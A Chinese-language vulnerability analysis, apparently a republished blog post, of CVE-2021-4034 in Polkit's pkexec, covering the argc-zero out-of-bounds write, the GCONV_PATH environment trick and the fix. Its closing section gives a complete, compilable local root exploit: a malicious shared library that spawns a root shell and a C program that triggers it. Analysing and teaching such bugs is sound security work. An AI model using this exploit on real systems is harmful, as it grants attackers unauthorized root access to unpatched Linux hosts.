CVE-2021-4034 Linux Polkit 权限提升漏洞分析
https://cn.4xpl0r3r.com/漏洞分析/CVE-2021-4034-Linux-Polkit-权限提升漏洞分析/
本文主要参考官方的Advisory来进行分析
漏洞简介
2022-01-25,CVE-2021-4034 Exploit 详情发布,此漏洞是由Qualys研究团队在polkit的pkexec中发现的一个内存损坏漏洞
pkexec 应用程序是一个 setuid 工具,允许非特权用户根据预定义的策略以特权用户身份运行命令,基本上所有的主流Linux系统都安装了此工具,其自身也被设置了SUID权限位以正常运转
影响了自2009年5月第一个版本以来的所有pkexec版本,Commit 地址:Add a pkexec(1) command (c8c3d835) · Commits · polkit / polkit · GitLab
由于pkexec的广泛应用,此漏洞基本通杀目前所有Linux发行版,有效范围很大
漏洞原理分析
选择一个修复前的版本进行分析,src/programs/pkexec.c · 0.120 · polkit / polkit · GitLab
根据披露,漏洞存在于pkexec的主函数,相对路径为/src/programs/pkexec.c
在534-568行,处理命令行参数
for (n = 1; n < (guint) argc; n++) // 注意这一句,如果我们传递了参数后,n应该在结束循环时与argc相等,如果没有参数,argc就为0,但是由于此处n的初始值为1,因此如果没有参数被传递,1就变成了argc(0)+1,如果后续继续使用n的话,就有可能出现问题
{
if (strcmp (argv[n], "--help") == 0)
{
opt_show_help = TRUE;
}
else if (strcmp (argv[n], "--version") == 0)
{
opt_show_version = TRUE;
}
else if (strcmp (argv[n], "--user") == 0 || strcmp (argv[n], "-u") == 0)
{
n++;
if (n >= (guint) argc)
{
usage (argc, argv);
goto out;
}
if (opt_user != NULL)
{
g_printerr ("--user specified twicen");
goto out;
}
opt_user = g_strdup (argv[n]);
}
else if (strcmp (argv[n], "--disable-internal-agent") == 0)
{
opt_disable_internal_agent = TRUE;
}
else
{
break;
}
}
然后在610行,获取PROGRAM参数名称,也就是需要执行的程序
path = g_strdup (argv[n]); // 分析代码,我们可以发现n在此时被使用,g_strdup复制目标字符串,但是如果我们不传递任何参数,g_strdup用于拷贝字符串,如果没有参数传递,这里就产生内存越界读取了
if (path == NULL)
{
GPtrArray *shell_argv;
path = g_strdup (pwstruct.pw_shell);
if (!path)
{
g_printerr ("No shell configured or error retrieving pw_shelln");
goto out;
}
/* If you change this, be sure to change the if (!command_line)
case below too */
command_line = g_strdup (path);
shell_argv = g_ptr_array_new ();
g_ptr_array_add (shell_argv, path);
g_ptr_array_add (shell_argv, NULL);
exec_argv = (char**)g_ptr_array_free (shell_argv, FALSE);
}
if (path[0] != '/') // 如果路径不是绝对路径
{
/* g_find_program_in_path() is not suspectible to attacks via the environment */
s = g_find_program_in_path (path);
if (s == NULL)
{
g_printerr ("Cannot run program %s: %sn", path, strerror (ENOENT));
goto out;
}
g_free (path);
argv[n] = path = s; // 触发越界内存写入
}
整理一下,得出,在不传递任何参数时,情况如下
-
在第 534 行,整数 n 的设置为 1
-
在第 610 行,从 argv[1] 越界读取指针路径
-
在第 639 行,指针 s 被越界写入 argv[1]
现在很重要的一点就是,我们想要知道,当越界的argv[1]
包含了什么内容
当我们使用execve()
执行一个程序时,内核会将我们的参数、环境字符串以及指针(argv 和 envp)复制到新程序栈的末尾;
如下所示:
|---------+---------+-----+------------|---------+---------+-----+------------|
| argv[0] | argv[1] | ... | argv[argc] | envp[0] | envp[1] | ... | envp[envc] |
|----|----+----|----+-----+-----|------|----|----+----|----+-----+-----|------|
V V V V V V
"program" "-option" NULL "value" "PATH=name" NULL
也就是说,被越界访问的实际上是envp[0]
,其指向第一个环境变量的值,再次总结,我们得到如下
-
在第610行,要执行的程序路径由
envp[0]
给出 -
在632行,
path
的值被传递给g_find_program_in_path()
-
g_find_program_in_path()
在PATH环境变量中搜索程序 -
如果找到可执行文件,完整的路径返回给
pkexec
的main()
函数 -
在639行,完整路径被越界写入到
argv[1]
也就是envp[0]
,这样就覆盖了我们的第一个环境变量
更准确地来说的话
-
如果环境变量被设置为
PATH=name
,如果目录name
存在(如当前的工作目录)并且可执行文件被命名为value
,那么name/value
字符串的指针就会被越界写入到envp[0]
-
或者说,如果PATH是
PATH=name=.
,并且如果PATH=name=.
存在且包含名为value
的可执行文件,那么name=./value
字符串的指针就会被越界写入到envp[0]
中
由于字符串name=./value
是我们最后会执行的命令,如果执行了name=./value
,这个越界写入允许我们重新引入一个不安全的环境变量,这些被传递到SUID文件的不安全环境变量通常会在main()
函数运行之前被删除(由ld.so
完成)。接下来我们将基于这一点来进行exploit
要注意:polkit还支持非Linux系统如Solaris 和 BSD, 目前还没有深入分析过,但是OpenBSD是不可利用的,因为它的内核在argc为0时拒绝通过
execve
执行程序
我们的问题是如何通过重新引入不安全的环境变量来利用这个漏洞,在702行,pkexec完全清除了环境变量,因此可以利用的选项比较少
if (clearenv () != 0)
{
g_printerr ("Error clearing environment: %sn", g_strerror (errno));
goto out;
}
可以发现代码中多处调用了GLib的函数g_printerr()
,如位于代码126行和408-409行的validate_environment_variable()
函数log_message()
调用了g_printerr()
g_printerr()
通常打印UTF-8错误消息,但如果环境变量CHARSET
被设置后,其也可以使用其它字符集打印消息。为了将消息从CTF-8转换为其它字符集,g_printerr()
调用了iconv_open()
为了进行字符集转换,iconv_open()
执行一个共享库。通常来说来源字符集、目标字符集和共享库都通过默认配置文件/usr/lib/gconv/gconv-modules
指定。但是环境变量GCONV_PATH
可以强制iconv_open()
使用另外一个配置文件,通常来说GCONV_PATH
是一个不安全变量,会被移除,但是由于前面的漏洞,我们可以将其重新引入
要注意:这个利用技术会在日志中留下痕迹,如SHELL变量在
/etc/shells
中不存在,或者环境变量中存在可疑数据。然而,请注意,这个漏洞也可以以不留下痕迹的方式利用
构造 Exploit
目前的主流Linux系统都受到此漏洞的影响,安装一个Ubuntu 20.04,运行pkexec --version
可以发现版本是0.105
首先生成一个恶意的so文件,用来获取提权后的shell
void gconv() {}
void gconv_init() {
setuid(0); seteuid(0); setgid(0); setegid(0);
system("PATH=/bin:/usr/bin:/sbin /bin/sh");
}
gcc -shared -fPIC payload.c -o payload.so
构造exploit
-
LC_MESSAGES
用来指定要转换的字符集 -
XAUTHORITY
设置为非法值以跳过pkexec的正常执行,我们只需要触发日志函数来实现提权
int main() {
char* _argv[]={ NULL };
char* _envp[]={
"x",
"PATH=GCONV_PATH=.",
"LC_MESSAGES=en_US.UTF-8",
"XAUTHORITY=..",
NULL
};
mkdir("GCONV_PATH=.", 0777);
mkdir("x", 0777);
FILE *fp = fopen("x/gconv-modules", "wb");
fprintf(fp, "module UTF-8// INTERNAL ../payload 2n");
fclose(fp);
execve("/usr/bin/pkexec", _argv, _envp);
}
gcc exploit.c -o exp.out
然后运行./exp.out
直接成为root用户
漏洞修复
参见:pkexec: local privilege escalation (CVE-2021-4034) (a2bf5c9c) · Commits · polkit / polkit · GitLab
argc小于1直接退出程序
原文始发于微信公众号(黑白天实验室):CVE-2021-4034 Linux Polkit 权限提升漏洞分析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论